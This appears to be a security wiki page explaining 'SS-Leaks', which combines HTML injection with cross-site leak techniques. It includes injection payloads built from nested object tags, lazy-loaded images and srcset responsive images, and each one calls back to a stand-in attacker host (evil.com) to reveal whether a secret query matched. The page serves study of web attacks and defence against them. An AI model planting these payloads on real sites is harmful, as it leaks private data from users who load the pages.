# SS-Leaks

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This is a **mix** between **dangling markup and XS-Leaks**. From one side the vulnerability allows to **inject HTML** (but not JS) in a page of the **same origin** of the one we will be attacking. On the other side we won't **attack** directly the page where we can inject HTML, but **another page**.

## Nested Objects

If the <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> endpoint returns a 404 status code, then the inner `object` is loaded, giving a callback to <mark style="color:yellow;">`https://evil.com?callback=a`</mark> and letting us know that the search query `a` yielded no results.

```html
<object data="/api/v1/leaky?secret=a">
    <object data="https://evil.com?callback=a"></object>
</object>
```

### Lazy Loading

What if CSP blocks external objects? Let's try again with the following CSP:

<mark style="color:yellow;">`Content-Security-Policy: default-src 'self'; img-src *;`</mark>

Our callback `object` from above no longer works. In its place, we can use image [lazy loading](https://developer.mozilla.org/en-US/docs/Web/Performance/Lazy\_loading)! The following image will only load when it is visible and within a certain distance from the viewport.

```html
<object data="/api/v1/leaky?secret=a">
    <img src="https://evil.com?callback" loading="lazy">
</object>
```

### Responsive Images

The above technique is great, but it relies on our HTML injection being within the user's viewport.

If the injection is off-screen and the user doesn't scroll, can we still leak data? Of course, we can use element IDs and [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) to create a URL that forces a scroll, but these rely on user interaction and don't allow us to achieve consistent leaks in a real-world scenario. Ideally, we want to weaponise stored HTML injection in a reliable manner.

Enter responsive images! Specifically, the `srcset` and `sizes` attributes of images.

{% code overflow="wrap" %}
```html
<object data="/api/v1/leaky?secret=a">
    <iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>
```
{% endcode %}

There's quite a few things to unpack here. First, remember that the inner iframe will only be visible if the leaky endpoint returns a 404 status code.

This is important because we are now going to conditionally load the image within the iframe from two different URLs. Using the `sizes` attribute, we can use [media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS\_media\_queries/Using\_media\_queries) to choose which URL to load the image from, depending on the viewport size.

{% code overflow="wrap" %}
```html
<img 
    srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w' 
    sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>
```
{% endcode %}

Because our iframe has `width="1000px"`, the following happens:

1. If the leaky endpoint returns a 404 status code, the iframe is displayed and has a width of 1000px. The image within the iframe matches the `(min-width: 1000px)` media query and loads the 800px image from `https://evil.com?callback=0`.
2. If the leaky endpoint returns a 200 status code, the iframe is _not_ displayed. Since the image is not being rendered as part of a large iframe, it matches the `(max-width 999px)` media query and loads the 480px image from `https://evil.com?callback=1`.

## References

* [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)

<details>

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</details>